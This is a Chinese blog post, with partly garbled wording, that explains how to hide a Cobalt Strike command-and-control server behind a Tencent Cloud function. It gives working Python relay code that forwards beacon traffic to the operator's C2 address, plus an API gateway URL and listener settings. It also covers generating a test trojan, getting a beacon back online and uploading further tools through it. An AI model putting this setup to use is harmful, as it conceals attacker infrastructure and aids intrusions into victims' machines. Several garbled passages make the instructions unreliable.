# cobal Strike云函数配置与相关踩坑

By [Newbee740](https://paragraph.com/@newbee740) · 2022-03-01

---

介绍
--

cs利用函数进行主机上线转换后，可以隐藏自己的云函数对css之间的网络转换进行中转，所以在ca中查看域名请求的所有连接时，查看云函数的请求地址，而在css看到了来自云函数的服务员的

云函数配置
-----

### 腾讯云

我这里使用的是腾讯函数，家庭的云函数也很大不差。我们首先需要注册一个账号，打开其中的云函数功能。

image-20211016221516410

### 新建云函数

选择自定义创建，名称随意，运行环境python3.6

image-20211016221901992

### 云函数

直接使用网上流传的代码代码

**注意替换自己的ip和端口为主机监听的ip和端口**

    # -*- coding: utf8 -*-
    import json,base64,requests
    def main_handler(event,context):
        C2 = 'http://ip:port'
        headers = event['headers']
        path = event['path']
        ip = event['requestContext']['sourceIp']
        headers = event['headers']
        headers['X-Forwarded-For'] = ip
        print(event)
        if event['httpMethod'] == 'GET':
            resp = requests.get(C2+path,headers=headers,verify=False)
        else:
            resp = requests.post(C2+path,data=event['body'],headers=headers,verify=False)
            print(resp.headers)
            print(resp.content)
    
        response={
            "isBase64Encoded":True,
            "statusCode":resp.status_code,
            "headers":dict(resp.headers),
            "body":str(base64.b64encode(resp.content))[2:-1]
        }
        return response
    

image-20211016222710841

点击完成即可

### 配置触发网关

image-20211016222902249

image-20211016222940194

**触发方式选择API网关触发集成请求**

image-20211016223035544

提交，获取API配置相关信息

image-20211016223323158

记住访问路径，需要使用

[https://service-l6pw2mll-1301629007.sh.apigw.tencentcs.com/release/cs\_tencent](https://service-l6pw2mll-1301629007.sh.apigw.tencentcs.com/release/cs_tencent)

点击api服务名，进入配置API

image-20211016223525932

image-20211016223712661

修改路径为/

image-20211016223800672

完成发布服务

cs配置
----

### 监听器一

添加监听器，这个监听器生成shellcode，但是实际使用不需要连接请求80个端口，也可以使用其他shellcode，生成器连接到腾讯云函数的cs shellcode，则可能需要生成监听器

**这里需注意坑点：**

*   HTTP Hosts 是记住的域名部分，不可访问协议和后面的路径
    
*   Beacon HTTP端口必须为80,Beacon HTTPS端口必须为443
    

image-20211016224525073

点击生成

### 监听器二

添加监听器二，这个监听器为真正接受Beacon回连的监听器，使用Payload需与监听器一相同

HTTP Hosts 为自己的服务器IP

港口为自己建会港口

需要与云函数代码配置中的IP端口保持一致

image-20211016225516026

点击生成

测试上线
----

### 生成测试木马

监听器选择最成先生的监听器一，即监听云域的监听器

image-20211016225755811

### 上线运行

image-20211016225958051

这里ip是云中举办的转，所以来源是云中举办的ip

坑点
--

测试的时候使用插件，发现k8大佬的Ladon怎么都用不了，直接上传源程序到Beacon中也无法上传

折腾了好久，最终定位到了问题点

原因是因为此时云函数配置中的把命令连传中，因为Beacon传，转向服务器再将文件中处理所以，等会执行。原因是经过测试，可能上传的kb文件。

image-20211016230501312

时间解决方法很简单，直接拉满就可以了

image-20211016230857797

然后可以正常执行命令

image-20211016231041680

---

*Originally published on [Newbee740](https://paragraph.com/@newbee740/cobal-strike)*
